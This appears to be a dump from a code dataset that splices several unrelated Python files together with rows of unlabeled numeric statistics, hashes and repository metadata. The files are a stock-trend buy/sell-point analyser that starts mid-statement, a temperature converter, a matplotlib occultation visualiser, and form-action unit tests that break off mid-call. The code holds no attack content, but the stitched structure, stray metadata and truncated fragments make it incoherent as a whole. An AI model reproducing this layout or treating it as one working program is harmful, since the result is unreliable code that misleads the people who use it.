'类型': '上涨', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[-1]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[-1]['high'], self._tmp_fds[-3]['high']), 'zs_low': max(self._tmp_fds[-3]['low'], self._tmp_fds[-2]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} return zoushi def __judge_3fds_zoushi(self): zoushi = {} direction = self._tmp_fds[0]['direction'] fd_high = max(self._tmp_fds[0]['high'], self._tmp_fds[2]['high']) fd_low = min(self._tmp_fds[0]['low'], self._tmp_fds[2]['low']) if direction == 'down': if self._tmp_fds[0]['high'] > self._tmp_fds[1]['high'] * self.__exceedRatio or self._tmp_fds[0]['low'] > \ self._tmp_fds[2]['low'] * self.__exceedRatio: zoushi = {'走势': '向下盘整', '类型': '下跌', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[2]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[0]['high'], self._tmp_fds[1]['high']), 'zs_low': max(self._tmp_fds[1]['low'], self._tmp_fds[2]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} else: zoushi = {'走势': '向下盘整', '类型': '盘整', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[2]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[0]['high'], self._tmp_fds[1]['high']), 'zs_low': max(self._tmp_fds[1]['low'], self._tmp_fds[2]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} elif direction == 'up': if self._tmp_fds[1]['low'] > self._tmp_fds[0]['low'] * self.__exceedRatio \ or self._tmp_fds[2]['high'] > self._tmp_fds[1]['high'] * self.__exceedRatio: zoushi = {'走势': '向上盘整', '类型': '上涨', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[2]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[1]['high'], self._tmp_fds[2]['high']), 'zs_low': max(self._tmp_fds[0]['low'], self._tmp_fds[1]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} else: zoushi = {'走势': '向上盘整', '类型': '盘整', 'symbol': self._tmp_fds[0]['symbol'], 'start_dt': self._tmp_fds[0]['start_dt'], 'end_dt': self._tmp_fds[2]['end_dt'], 'section_amount': len(self._tmp_fds), 'zs_high': min(self._tmp_fds[0]['high'], self._tmp_fds[1]['high']), 'zs_low': max(self._tmp_fds[1]['low'], self._tmp_fds[2]['low']), 'high': fd_high, 'low': fd_low, 'direction': 'up' if fd_high > fd_low else 'down', 'power': calculate_macd_power(self.__macd_list, self._tmp_fds[0]['start_dt'], self._tmp_fds[-1]['end_dt'], mode='xd', direction=direction), 'beichi': self.__check_trend_beichi()} return zoushi def __judge_zoushi(self): length = len(self._tmp_fds) if 3 > length: return {} elif 3 == length: return self.__judge_3fds_zoushi() else: if length % 2 == 0: self._tmp_fds.pop() return self.__judge_more_than_3fds_zoushi() def __construct_zoushi(self): length = len(self.__input_fds) if length < 3: return self.__zoushi_list for i in range(0, length): self._tmp_fds.append(self.__input_fds[i]) tmp_length = len(self._tmp_fds) if tmp_length < 3: continue if tmp_length % 2 == 0: if self._tmp_fds[0]['direction'] == 'up' and self._tmp_fds[-1]['low'] > self._tmp_fds[-3]['high']: continue elif self._tmp_fds[0]['direction'] == 'down' and self._tmp_fds[-1]['high'] < self._tmp_fds[-3]['low']: continue self.__zoushi_list.append(self.__judge_zoushi()) self._tmp_fds.clear() self._tmp_fds.append(self.__input_fds[i]) elif tmp_length % 2 == 1: if self._tmp_fds[0]['direction'] == 'up' and self._tmp_fds[-1]['high'] > self._tmp_fds[-3]['high']: continue elif self._tmp_fds[0]['direction'] == 'down' and self._tmp_fds[-1]['low'] < self._tmp_fds[-3]['low']: continue self.__zoushi_list.append(self.__judge_zoushi()) self._tmp_fds.clear() self._tmp_fds.append(self.__input_fds[i - 1]) self._tmp_fds.append(self.__input_fds[i]) if len(self._tmp_fds) > 2: self.__zoushi_list.append(self.__judge_zoushi()) self._tmp_fds.clear() def _judge_buy_or_sell_points(self): try: assert len(self._tmp_fds) < 3 except: print("assert error") result = {} if not self.__zoushi_list[-1]['beichi']: return result if len(self._tmp_fds) == 0: if self.__zoushi_list[-1]['direction'] == 'down': result = {'买卖点': '第一买点', '时间': self.__zoushi_list[-1]['end_time'], 'symbol': self.__zoushi_list[-1]['symbol']} else: result = {'买卖点': '第一卖点', '时间': self.__zoushi_list[-1]['end_time'], 'symbol': self.__zoushi_list[-1]['symbol']} elif len(self._tmp_fds) == 1 and self.__check_trend_beichi(fds=self.__input_fds[-3:]): if self.__zoushi_list[-1]['direction'] == 'down': result = {'买卖点': '第三买点', '时间': self.__zoushi_list[-1]['end_time'], 'symbol': self.__zoushi_list[-1]['symbol']} else: result = {'买卖点': '第三卖点', '时间': self.__zoushi_list[-1]['end_time'], 'symbol': self.__zoushi_list[-1]['symbol']} elif len(self._tmp_fds) == 2 \ and self.__check_trend_beichi(fds=self.__input_fds[-3:]) \ and self._tmp_fds[-1]['low'] > self._tmp_fds[0]['low']: result = {'买卖点': '第二卖点', '时间': self.__zoushi_list[-1]['end_time'], 'symbol': self.__zoushi_list[-1]['symbol']} return result def get_zoushi_list(self): return self.__zoushi_list def getAnalysisResult(self): return self._judge_buy_or_sell_points()
49.37069
118
0.463768
1,302
11,454
3.665899
0.073733
0.168657
0.240939
0.087576
0.833857
0.778756
0.763671
0.757385
0.719045
0.695789
0
0.019514
0.382574
11,454
231
119
49.584416
0.655402
0
0
0.621359
0
0
0.110791
0
0
0
0
0
0.029126
1
0.043689
false
0
0.004854
0.009709
0.116505
0.004854
0
0
0
null
0
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
15eb64aca79ea6090b45523dfb6081d3cfddc6f1
99
py
Python
Desafios/desafio014.py
VanessaCML/python
56133b9000ba89154f37038e11a3c2d1aa6d1094
[ "MIT" ]
null
null
null
Desafios/desafio014.py
VanessaCML/python
56133b9000ba89154f37038e11a3c2d1aa6d1094
[ "MIT" ]
null
null
null
Desafios/desafio014.py
VanessaCML/python
56133b9000ba89154f37038e11a3c2d1aa6d1094
[ "MIT" ]
null
null
null
t = float(input('Qual a temperatura em °C? ')) print(f'A temperatura em °F é {((9*t)/5)+32:.1f}.')
33
51
0.59596
22
99
2.772727
0.727273
0.393443
0.459016
0.491803
0
0
0
0
0
0
0
0.058824
0.141414
99
2
52
49.5
0.635294
0
0
0
0
0
0.676768
0
0
0
0
0
0
1
0
false
0
0
0
0
0.5
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
7
15f6eb8b344127d521d76a8b7e3b00a55b843459
17,408
py
Python
tex/figures/support_code/viz.py
rodluger/starrynight
d3f015e466621189cb271d4d18b538430b14a557
[ "MIT" ]
5
2020-05-20T09:30:30.000Z
2021-06-27T14:17:33.000Z
tex/figures/support_code/viz.py
rodluger/starrynight
d3f015e466621189cb271d4d18b538430b14a557
[ "MIT" ]
5
2020-05-16T18:49:42.000Z
2021-02-11T21:46:32.000Z
tex/figures/support_code/viz.py
rodluger/starrynight
d3f015e466621189cb271d4d18b538430b14a557
[ "MIT" ]
1
2020-05-19T17:11:57.000Z
2020-05-19T17:11:57.000Z
from .utils import * from .geometry import get_angles import matplotlib.pyplot as plt from matplotlib.colors import LinearSegmentedColormap from matplotlib.patches import Arc import numpy as np def visualize_simple(ax, b, theta, bo, ro, res=999): # Find angles of intersection kappa, lam, xi, code = get_angles(b, theta, np.cos(theta), np.sin(theta), bo, ro) phi = kappa - np.pi / 2 # HACK if ( code == FLUX_NIGHT_VIS or code == FLUX_DAY_VIS or code == FLUX_QUAD_DAY_VIS or code == FLUX_QUAD_NIGHT_VIS ): phi = phi[::-1] color_night = (0, 0, 0, 0.75) color_day_occ = (0.314, 0.431, 0.514, 0.5) color_night_occ = (0, 0, 0, 0.5) # Equation of half-ellipse x = np.linspace(-1, 1, 10000) y = b * np.sqrt(1 - x ** 2) x_t = x * np.cos(theta) - y * np.sin(theta) y_t = x * np.sin(theta) + y * np.cos(theta) # Shaded regions p = np.linspace(-1, 1, res) xpt, ypt = np.meshgrid(p, p) cond1 = xpt ** 2 + (ypt - bo) ** 2 < ro ** 2 # inside occultor cond2 = xpt ** 2 + ypt ** 2 < 1 # inside occulted xr = xpt * np.cos(theta) + ypt * np.sin(theta) yr = -xpt * np.sin(theta) + ypt * np.cos(theta) cond3 = yr > b * np.sqrt(1 - xr ** 2) # above terminator img_day_occ = np.zeros_like(xpt) img_day_occ[cond1 & cond2 & cond3] = 1 img_night_occ = np.zeros_like(xpt) img_night_occ[cond1 & cond2 & ~cond3] = 1 img_night = np.zeros_like(xpt) img_night[~cond1 & cond2 & ~cond3] = 1 x0, y0 = np.meshgrid(np.linspace(-1, 1, res), np.linspace(-1, 1, res)) x = x0 * np.cos(theta) + y0 * np.sin(theta) y = -x0 * np.sin(theta) + y0 * np.cos(theta) z = np.sqrt(1 - x ** 2 - y ** 2) img_day = np.sqrt(1 - b ** 2) * y - b * z img_day[img_day < 0] = np.nan img_day[cond1] = np.nan # Draw basic shapes ax.axis("off") ax.add_artist(plt.Circle((0, bo), ro, fill=False, ls="--", lw=1.5)) ax.add_artist(plt.Circle((0, 0), 1, fill=False)) ax.plot(x_t, y_t, "k-", lw=1) ax.set_xlim(-1.25, 1.25) ax.set_ylim(-1.25, 1.25) ax.set_aspect(1) ax.imshow( img_day_occ, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list( "cmap1", [(0, 0, 0, 0), color_day_occ], 2 ), interpolation="none", zorder=-1, ) ax.imshow( img_night_occ, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list( "cmap1", [(0, 0, 0, 0), color_night_occ], 2 ), interpolation="none", zorder=-1, ) ax.imshow( img_day, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap( "cmap1", segmentdata={ "red": [[0.0, 0.0, 0.122], [1.0, 1.0, 1.0]], "green": [[0.0, 0.0, 0.467], [1.0, 1.0, 1.0]], "blue": [[0.0, 0.0, 0.706], [1.0, 1.0, 1.0]], }, N=256, ), vmin=0, vmax=1, interpolation="none", zorder=-1, ) ax.imshow( img_night, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list("cmap1", [(0, 0, 0, 0), color_night], 2), interpolation="none", zorder=-1, ) # Draw integration paths # T if len(xi): if ( code == FLUX_NIGHT_VIS or code == FLUX_DAY_VIS or code == FLUX_QUAD_DAY_VIS or code == FLUX_QUAD_NIGHT_VIS ): inds = np.where(x_t ** 2 + (y_t - bo) ** 2 > ro ** 2)[0] if code == FLUX_QUAD_DAY_VIS or code == FLUX_QUAD_NIGHT_VIS: midpt = np.arange(len(x_t))[inds[1:]][np.diff(inds) > 1][0] x_t[midpt] = np.nan else: inds = np.where(x_t ** 2 + (y_t - bo) ** 2 < ro ** 2)[0] if code == FLUX_TRIP_DAY_OCC or code == FLUX_TRIP_NIGHT_OCC: midpt = np.arange(len(x_t))[inds[1:]][np.diff(inds) > 1][0] x_t[midpt] = np.nan ax.plot(x_t[inds], y_t[inds], "C1-", lw=2) if len(phi): for k in range(0, len(phi) // 2 + 1, 2): # P arc = Arc( (0, bo), 2 * ro, 2 * ro, 0, phi[k] * 180 / np.pi, phi[k + 1] * 180 / np.pi, color="C1", lw=2, zorder=3, ) ax.add_patch(arc) if len(lam): # Q arc = Arc( (0, 0), 2, 2, 0, lam[0] * 180 / np.pi, lam[1] * 180 / np.pi, color="C1", lw=2, zorder=3, ) ax.add_patch(arc) # Draw points of intersection for i, phi_i in enumerate(phi): # -- P -- ax.plot( [ro * np.cos(phi_i)], [bo + ro * np.sin(phi_i)], "ko", ms=4, zorder=4, ) # -- T -- if len(xi): tol = 1e-7 x_phi = ro * np.cos(phi_i) y_phi = bo + ro * np.sin(phi_i) x_xi = np.cos(theta) * np.cos(xi[i]) - b * np.sin(theta) * np.sin(xi[i]) y_xi = np.sin(theta) * np.cos(xi[i]) + b * np.cos(theta) * np.sin(xi[i]) if np.abs(y_phi - y_xi) < tol and np.abs(x_phi - x_xi) < tol: ax.plot( [ro * np.cos(phi_i)], [bo + ro * np.sin(phi_i)], "ko", ms=4, zorder=4, ) for i, lam_i in zip(range(len(lam)), lam): # -- Q -- ax.plot( [np.cos(lam_i)], [np.sin(lam_i)], "ko", ms=4, zorder=4, ) def visualize(b, theta, bo, ro, res=999): # Find angles of intersection kappa, lam, xi, code = get_angles(b, theta, np.cos(theta), np.sin(theta), bo, ro) phi = kappa - np.pi / 2 color_night = (0, 0, 0, 0.75) color_day_occ = (0.314, 0.431, 0.514, 0.5) color_night_occ = (0, 0, 0, 0.5) # Equation of half-ellipse x = np.linspace(-1, 1, 1000) y = b * np.sqrt(1 - x ** 2) x_t = x * np.cos(theta) - y * np.sin(theta) y_t = x * np.sin(theta) + y * np.cos(theta) # Shaded regions p = np.linspace(-1, 1, res) xpt, ypt = np.meshgrid(p, p) cond1 = xpt ** 2 + (ypt - bo) ** 2 < ro ** 2 # inside occultor cond2 = xpt ** 2 + ypt ** 2 < 1 # inside occulted xr = xpt * np.cos(theta) + ypt * np.sin(theta) yr = -xpt * np.sin(theta) + ypt * np.cos(theta) cond3 = yr > b * np.sqrt(1 - xr ** 2) # above terminator img_day_occ = np.zeros_like(xpt) img_day_occ[cond1 & cond2 & cond3] = 1 img_night_occ = np.zeros_like(xpt) img_night_occ[cond1 & cond2 & ~cond3] = 1 img_night = np.zeros_like(xpt) img_night[~cond1 & cond2 & ~cond3] = 1 x0, y0 = np.meshgrid(np.linspace(-1, 1, res), np.linspace(-1, 1, res)) x = x0 * np.cos(theta) + y0 * np.sin(theta) y = -x0 * np.sin(theta) + y0 * np.cos(theta) z = np.sqrt(1 - x ** 2 - y ** 2) img_day = np.sqrt(1 - b ** 2) * y - b * z img_day[img_day < 0] = np.nan img_day[cond1] = np.nan # Plot if len(lam): fig, ax = plt.subplots(1, 3, figsize=(14, 5)) fig.subplots_adjust(left=0.025, right=0.975, bottom=0.05, top=0.825) ax[1].set_title(r"$\mathcal{T}$", color="C1", fontsize=24) ax[0].set_title(r"$\mathcal{P}$", color="C1", fontsize=24) ax[2].set_title(r"$\mathcal{Q}$", color="C1", fontsize=24) else: fig, ax = plt.subplots(1, 2, figsize=(9, 5)) fig.subplots_adjust(left=0.025, right=0.975, bottom=0.05, top=0.825) ax[1].set_title(r"$\mathcal{T}$", color="C1", fontsize=24) ax[0].set_title(r"$\mathcal{P}$", color="C1", fontsize=24) # Labels for i in range(len(phi)): ax[1].annotate( r"$\xi_{} = {:.1f}^\circ$".format(i, xi[i] * 180 / np.pi), xy=(0, 0), xycoords="axes fraction", xytext=(5, 25 - i * 20), textcoords="offset points", fontsize=10, color="k", ) ax[0].annotate( r"$\phi_{} = {:.1f}^\circ$".format(i, phi[i] * 180 / np.pi), xy=(0, 0), xycoords="axes fraction", xytext=(5, 25 - i * 20), textcoords="offset points", fontsize=10, color="k", ) for i in range(len(lam)): ax[2].annotate( r"$\lambda_{} = {:.1f}^\circ$".format(i, lam[i] * 180 / np.pi), xy=(0, 0), xycoords="axes fraction", xytext=(5, 25 - i * 20), textcoords="offset points", fontsize=10, color="k", ) # Draw basic shapes for axis in ax: axis.axis("off") axis.add_artist(plt.Circle((0, bo), ro, lw=1.5, ls="--", fill=False)) axis.add_artist(plt.Circle((0, 0), 1, fill=False)) axis.plot(x_t, y_t, "k-", lw=1) axis.set_xlim(-1.25, 1.25) axis.set_ylim(-1.25, 1.25) axis.set_aspect(1) axis.imshow( img_day_occ, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list( "cmap1", [(0, 0, 0, 0), color_day_occ], 2 ), ) axis.imshow( img_night_occ, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list( "cmap1", [(0, 0, 0, 0), color_night_occ], 2 ), ) axis.imshow( img_day, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap( "cmap1", segmentdata={ "red": [[0.0, 0.0, 0.122], [1.0, 1.0, 1.0]], "green": [[0.0, 0.0, 0.467], [1.0, 1.0, 1.0]], "blue": [[0.0, 0.0, 0.706], [1.0, 1.0, 1.0]], }, N=256, ), vmin=0, vmax=1, interpolation="none", zorder=-1, ) axis.imshow( img_night, origin="lower", extent=(-1, 1, -1, 1), alpha=1, cmap=LinearSegmentedColormap.from_list( "cmap1", [(0, 0, 0, 0), color_night], 2 ), ) # Draw integration paths # T inds = x_t ** 2 + (y_t - bo) ** 2 < ro ** 2 ax[1].plot(x_t[inds], y_t[inds], "C1-", lw=3) ax[1].plot( [0, 1], [0, 0], color="k", ls="--", lw=0.5, ) arc = Arc((0, 0), 0.15, 0.15, 0, 0, theta * 180 / np.pi, color="k", lw=0.5,) ax[1].add_patch(arc) ax[1].annotate( r"$\theta$", xy=(0.5 * 0.15 * np.cos(0.5 * theta), 0.5 * 0.15 * np.sin(0.5 * theta),), xycoords="data", xytext=(7 * np.cos(0.5 * theta), 7 * np.sin(0.5 * theta),), textcoords="offset points", ha="center", va="center", fontsize=8, color="k", ) if len(phi): for k in range(0, len(phi) // 2 + 1, 2): # P arc = Arc( (0, bo), 2 * ro, 2 * ro, 0, phi[k] * 180 / np.pi, phi[k + 1] * 180 / np.pi, color="C1", lw=3, zorder=3, ) ax[0].add_patch(arc) if len(lam): # Q arc = Arc( (0, 0), 2, 2, 0, lam[0] * 180 / np.pi, lam[1] * 180 / np.pi, color="C1", lw=3, zorder=3, ) ax[2].add_patch(arc) # Draw axes ax[1].plot( [-np.cos(theta), np.cos(theta)], [-np.sin(theta), np.sin(theta)], color="k", ls="--", lw=0.5, ) ax[1].plot([0], [0], "ko", ms=4, zorder=4) ax[0].plot( [-ro, ro], [bo, bo], color="k", ls="--", lw=0.5, ) ax[0].plot([0], [bo], "ko", ms=4, zorder=4) if len(lam): ax[2].plot( [-1, 1], [0, 0], color="k", ls="--", lw=0.5, ) ax[2].plot(0, 0, "ko", ms=4, zorder=4) # Draw points of intersection & angles sz = [0.25, 0.5, 0.75, 1.0] for i, xi_i in enumerate(xi): # -- T -- # xi angle ax[1].plot( [0, np.cos(np.sign(b) * xi_i + theta)], [0, np.sin(np.sign(b) * xi_i + theta)], color="k", lw=1, ) # tangent line x0 = np.cos(xi_i) * np.cos(theta) y0 = np.cos(xi_i) * np.sin(theta) ax[1].plot( [x0, np.cos(np.sign(b) * xi_i + theta)], [y0, np.sin(np.sign(b) * xi_i + theta)], color="k", ls="--", lw=0.5, ) # mark the polar angle ax[1].plot( [np.cos(np.sign(b) * xi_i + theta)], [np.sin(np.sign(b) * xi_i + theta)], "ko", ms=4, zorder=4, ) # draw and label the angle arc if np.sin(xi_i) != 0: angle = sorted([theta, np.sign(b) * xi_i + theta]) arc = Arc( (0, 0), sz[i], sz[i], 0, angle[0] * 180 / np.pi, angle[1] * 180 / np.pi, color="k", lw=0.5, ) ax[1].add_patch(arc) ax[1].annotate( r"$\xi_{}$".format(i), xy=( 0.5 * sz[i] * np.cos(0.5 * np.sign(b) * xi_i + theta), 0.5 * sz[i] * np.sin(0.5 * np.sign(b) * xi_i + theta), ), xycoords="data", xytext=( 7 * np.cos(0.5 * np.sign(b) * xi_i + theta), 7 * np.sin(0.5 * np.sign(b) * xi_i + theta), ), textcoords="offset points", ha="center", va="center", fontsize=8, color="k", ) # points of intersection? tol = 1e-7 for phi_i in phi: x_phi = ro * np.cos(phi_i) y_phi = bo + ro * np.sin(phi_i) x_xi = np.cos(theta) * np.cos(xi_i) - b * np.sin(theta) * np.sin(xi_i) y_xi = np.sin(theta) * np.cos(xi_i) + b * np.cos(theta) * np.sin(xi_i) if np.abs(y_phi - y_xi) < tol and np.abs(x_phi - x_xi) < tol: ax[1].plot( [ro * np.cos(phi_i)], [bo + ro * np.sin(phi_i)], "ko", ms=4, zorder=4, ) for i, phi_i in enumerate(phi): # -- P -- # points of intersection ax[0].plot( [0, ro * np.cos(phi_i)], [bo, bo + ro * np.sin(phi_i)], color="k", ls="-", lw=1, ) ax[0].plot( [ro * np.cos(phi_i)], [bo + ro * np.sin(phi_i)], "ko", ms=4, zorder=4, ) # draw and label the angle arc angle = sorted([0, phi_i]) arc = Arc( (0, bo), sz[i], sz[i], 0, angle[0] * 180 / np.pi, angle[1] * 180 / np.pi, color="k", lw=0.5, ) ax[0].add_patch(arc) ax[0].annotate( r"${}\phi_{}$".format("-" if phi_i < 0 else "", i), xy=( 0.5 * sz[i] * np.cos(0.5 * (phi_i % (2 * np.pi))), bo + 0.5 * sz[i] * np.sin(0.5 * (phi_i % (2 * np.pi))), ), xycoords="data", xytext=( 7 * np.cos(0.5 * (phi_i % (2 * np.pi))), 7 * np.sin(0.5 * (phi_i % (2 * np.pi))), ), textcoords="offset points", ha="center", va="center", fontsize=8, color="k", zorder=4, ) for i, lam_i in zip(range(len(lam)), lam): # -- Q -- # points of intersection ax[2].plot( [0, np.cos(lam_i)], [0, np.sin(lam_i)], color="k", ls="-", lw=1, ) ax[2].plot( [np.cos(lam_i)], [np.sin(lam_i)], "ko", ms=4, zorder=4, ) # draw and label the angle arc angle = sorted([0, lam_i]) arc = Arc( (0, 0), sz[i], sz[i], 0, angle[0] * 180 / np.pi, angle[1] * 180 / np.pi, color="k", lw=0.5, ) ax[2].add_patch(arc) ax[2].annotate( r"${}\lambda_{}$".format("-" if lam_i < 0 else "", i), xy=(0.5 * sz[i] * np.cos(0.5 * lam_i), 0.5 * sz[i] * np.sin(0.5 * lam_i),), xycoords="data", xytext=(7 * np.cos(0.5 * lam_i), 7 * np.sin(0.5 * lam_i),), textcoords="offset points", ha="center", va="center", fontsize=8, color="k", zorder=4, ) return fig, ax
29.910653
88
0.423771
2,488
17,408
2.871383
0.084405
0.019597
0.016377
0.012318
0.858343
0.81383
0.791013
0.771277
0.736142
0.694149
0
0.075928
0.400793
17,408
581
89
29.962134
0.608954
0.038316
0
0.73428
0
0
0.035276
0
0
0
0
0
0
1
0.004057
false
0
0.01217
0
0.018256
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
d66d11c0d28aeeefe09a86064fe40f97de3bea1e
10,012
py
Python
tests/test_forms.py
fericsepi/directory-forms-api-client
f009ea47cf9756c51c8df9b2e01b08bd2b105493
[ "MIT" ]
null
null
null
tests/test_forms.py
fericsepi/directory-forms-api-client
f009ea47cf9756c51c8df9b2e01b08bd2b105493
[ "MIT" ]
null
null
null
tests/test_forms.py
fericsepi/directory-forms-api-client
f009ea47cf9756c51c8df9b2e01b08bd2b105493
[ "MIT" ]
null
null
null
from unittest import mock import pytest from django.forms import Form, fields from directory_forms_api_client import actions, forms, helpers @pytest.fixture def mock_action_class(): return mock.Mock(spec=actions.AbstractAction) @pytest.fixture def spam_control(): return helpers.SpamControl( contents=['some contents'], ) @pytest.fixture def sender(): return helpers.Sender( email_address='test@example.com', country_code='UK' ) @pytest.fixture def form_session(): return {} def test_email_action_form(): expected_class = actions.EmailAction assert forms.EmailActionMixin.action_class is expected_class def test_zendesk_action_form(): expected_class = actions.ZendeskAction assert forms.ZendeskActionMixin.action_class is expected_class @pytest.mark.parametrize('classes', ( [forms.EmailActionMixin, Form], [forms.EmailAPIForm] )) def test_email_action_mixin_user_submitted_email( classes, mock_action_class, spam_control, form_session, sender ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() email = fields.EmailField() @property def text_body(self): return self.cleaned_data['title'] @property def html_body(self): return '<a>' + self.cleaned_data['title'] + '</a>' data = {'title': 'Example', 'email': 'a@foo.com'} form = TestForm(data=data) assert form.is_valid() form.save( recipients=[form.cleaned_data['email']], subject='a subject', reply_to=['reply_to@example.com'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( recipients=['a@foo.com'], subject='a subject', reply_to=['reply_to@example.com'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call( form.serialized_data ) @pytest.mark.parametrize('classes', ( [forms.EmailActionMixin, Form], [forms.EmailAPIForm] )) def test_email_action_mixin_environment_defined_email( classes, mock_action_class, form_session, spam_control, sender ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() @property def text_body(self): return self.cleaned_data['title'] @property def html_body(self): return '<a>' + self.cleaned_data['title'] + '</a>' data = {'title': 'Example'} form = TestForm(data=data) assert form.is_valid() form.save( recipients=['a@bar.com'], subject='a subject', reply_to=['reply_to@example.com'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( recipients=['a@bar.com'], subject='a subject', reply_to=['reply_to@example.com'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call( form.serialized_data ) @pytest.mark.parametrize('classes', ( [forms.ZendeskActionMixin, Form], [forms.ZendeskAPIForm] )) def test_zendesk_action_mixin( classes, mock_action_class, form_session, spam_control, sender ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() data = { 'title': 'Example', 'email_address': 'three@example.com', 'full_name': 'Jim Example', 'subject': 'hello there', } form = TestForm(data=data) assert form.is_valid() form.save( full_name=data['full_name'], email_address=data['email_address'], subject=data['subject'], service_name='some service', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( full_name=data['full_name'], email_address=data['email_address'], subject=data['subject'], service_name='some service', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call(form.cleaned_data) @pytest.mark.parametrize('classes', ( [forms.EmailActionMixin, Form], [forms.EmailAPIForm] )) def test_email_action_mixin_not_implemented(classes, mock_action_class): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() form = TestForm() with pytest.raises(NotImplementedError): form.text_body() with pytest.raises(NotImplementedError): form.html_body() @pytest.mark.parametrize('classes', ( [forms.GovNotifyEmailActionMixin, Form], [forms.GovNotifyEmailAPIForm] )) def test_gov_notify_email_action( classes, mock_action_class, form_session, spam_control, sender, ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() data = { 'email_address': 'three@example.com', 'template_id': '123456', 'title': 'some title', } form = TestForm(data) assert form.is_valid() form.save( template_id=data['template_id'], email_address=data['email_address'], email_reply_to_id='123', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( template_id=data['template_id'], email_address=data['email_address'], email_reply_to_id='123', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call(form.cleaned_data) @pytest.mark.parametrize('classes', ( [forms.GovNotifyEmailActionMixin, Form], [forms.GovNotifyEmailAPIForm] )) def test_gov_notify_action_no_reply_to_id( classes, mock_action_class, spam_control, form_session, sender ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() data = { 'email_address': 'three@example.com', 'template_id': '123456', 'title': 'some title', } form = TestForm(data) assert form.is_valid() form.save( template_id=data['template_id'], email_address=data['email_address'], form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( email_address=data['email_address'], form_session=form_session, form_url='/the/form/', sender=sender, spam_control=spam_control, template_id=data['template_id'], ) assert mock_action_class().save.call_count == 1 assert mock_action_class().save.call_args == mock.call(form.cleaned_data) @pytest.mark.parametrize('classes', ( [forms.PardotActionMixin, Form], [forms.PardotAPIForm] )) def test_pardot_action( classes, mock_action_class, form_session, spam_control, sender ): class TestForm(*classes): action_class = mock_action_class title = fields.CharField() data = { 'email_address': 'three@example.com', 'template_id': '123456', 'title': 'some title', } form = TestForm(data) assert form.is_valid() form.save( pardot_url='http://www.example.com/some/submission/path/', form_url='/the/form/', form_session=form_session, spam_control=spam_control, sender=sender, ) assert mock_action_class.call_count == 1 assert mock_action_class.call_args == mock.call( 